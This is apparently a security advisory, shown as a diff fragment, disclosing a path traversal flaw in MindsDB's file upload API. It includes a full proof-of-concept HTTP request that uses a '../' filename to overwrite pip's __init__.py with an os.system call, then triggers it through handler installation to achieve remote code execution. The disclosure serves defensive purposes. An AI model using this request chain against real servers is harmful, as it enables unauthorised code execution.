+ "details": "### Summary\n\nThere is a path traversal vulnerability in Mindsdb's /api/files interface, which an authenticated attacker can exploit to achieve remote command execution.\n\n### Details\n\nThe vulnerability exists in the \"Upload File\" module, which corresponds to the API endpoint /api/files. The affected code is located at mindsdb/api/http/namespaces/file.py:\n```python\n@ns_conf.route(\"/<name>\")\n@ns_conf.param(\"name\", \"MindsDB's name for file\")\nclass File(Resource):\n @ns_conf.doc(\"put_file\")\n @api_endpoint_metrics('PUT', '/files/file')\n def put(self, name: str):\n \"\"\"add new file\n params in FormData:\n - file\n - original_file_name [optional]\n \"\"\"\n\n data = {}\n mindsdb_file_name = name\n\n existing_file_names = ca.file_controller.get_files_names()\n\n def on_field(field):\n name = field.field_name.decode()\n value = field.value.decode()\n data[name] = value\n\n file_object = None\n\n def on_file(file):\n nonlocal file_object\n data[\"file\"] = file.file_name.decode()\n file_object = file.file_object\n\n temp_dir_path = tempfile.mkdtemp(prefix=\"mindsdb_file_\")\n\n if request.headers[\"Content-Type\"].startswith(\"multipart/form-data\"):\n parser = multipart.create_form_parser(\n headers=request.headers,\n on_field=on_field,\n on_file=on_file,\n config={\n \"UPLOAD_DIR\": temp_dir_path.encode(), # bytes required\n \"UPLOAD_KEEP_FILENAME\": True,\n \"UPLOAD_KEEP_EXTENSIONS\": True,\n \"MAX_MEMORY_FILE_SIZE\": 0,\n },\n )\n\n while True:\n chunk = request.stream.read(8192)\n if not chunk:\n break\n parser.write(chunk)\n parser.finalize()\n parser.close()\n\n if file_object is not None:\n if not file_object.closed:\n try:\n file_object.flush()\n except (AttributeError, ValueError, OSError):\n logger.debug(\"Failed to flush file_object before closing.\", exc_info=True)\n file_object.close()\n file_object = None\n else:\n data = request.json\n```\nSince the multipart file upload does not perform security checks on the uploaded file path, an attacker can perform path traversal by using ../ sequences in the filename field. The file write operation occurs before calling clear_filename and save_file, meaning there is no filtering of filenames or file types, allowing arbitrary content to be written to any path on the server.\n\n\n### PoC\n\nThis vulnerability can be exploited to overwrite existing executable files, which retain their executable permissions after being overwritten. In addition to conventional file upload exploitation methods, we provide a way to achieve Remote Code Execution (RCE) by leveraging MindsDB's own functionality.\n\nThe API endpoint /<handler_name>/install is used to install handlers, which internally calls install_dependencies to install dependencies via pip. This function executes pip using subprocess.Popen. Therefore, an attacker can:\n\n1. Exploit the vulnerability to overwrite /venv/lib/python3.10/site-packages/pip/__init__.py with a malicious Python script.\n2. Trigger the execution of the malicious script by calling /<handler_name>/install, which invokes pip.\n \nExploit:\n```\nPUT /api/files/mm HTTP/1.1\nHost: ip:47334\nContent-Length: 579\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36\nAccept: application/json, text/plain, */*\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryv9dZC0cAHLlHSHD9\nOrigin: http://ip:47334\nReferer: http://ip:47334/fileUpload\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh,en;q=0.9,zh-CN;q=0.8\nCookie: bid=87948125-5042-4fc8-a692-9cbf71e387be\nConnection: keep-alive\n\n------WebKitFormBoundaryv9dZC0cAHLlHSHD9\nContent-Disposition: form-data; name=\"name\"\n\nmm\n------WebKitFormBoundaryv9dZC0cAHLlHSHD9\nContent-Disposition: form-data; name=\"source\"\n\nmm\n------WebKitFormBoundaryv9dZC0cAHLlHSHD9\nContent-Disposition: form-data; name=\"source_type\"\n\nfile\n------WebKitFormBoundaryv9dZC0cAHLlHSHD9\nContent-Disposition: form-data; name=\"file\"; filename=\"../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py\"\nContent-Type: text/plain\n\nimport os\nos.system(\"touch /tmp/rce_by_hacker\")\n------WebKitFormBoundaryv9dZC0cAHLlHSHD9--\n```\nAfter sending this request, you can observe the logs in Docker's output:\n```\n2025-05-30 02:26:52,432 http INFO python_multipart.multipart: Opening a file on disk\n2025-05-30 02:26:52,433 http INFO python_multipart.multipart: Saving with filename in: b'/root/mdb_storage/tmp/mindsdb_byom_file_89h0zcz0'\n2025-05-30 02:26:52,433 http INFO python_multipart.multipart: Opening file: b'/root/mdb_storage/tmp/mindsdb_byom_file_89h0zcz0/../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py'\n```\nAt this point, you can see that the file has been successfully overwritten:\n```\nroot@e445c93b2fd5:/mindsdb# cat /venv/lib/python3.10/site-packages/pip/__init__.py\nimport os\nos.system(\"touch /tmp/rce_by_hacker\")\n```\nAfterwards, install any handler in the UI, and you will see that the file rce_by_hacker is successfully created in the /tmp directory. The same result can also be achieved by sending an API request to trigger it.\n\n### Credit\n\nThis vulnerability was discovered by:\n- XlabAI Team of Tencent Xuanwu Lab\n- Atuin Automated Vulnerability Discovery Engine\n\nIf there are any questions regarding the vulnerability details, please feel free to reach out to MindsDB for further discussion at xlabai@tencent.com.",
0 commit comments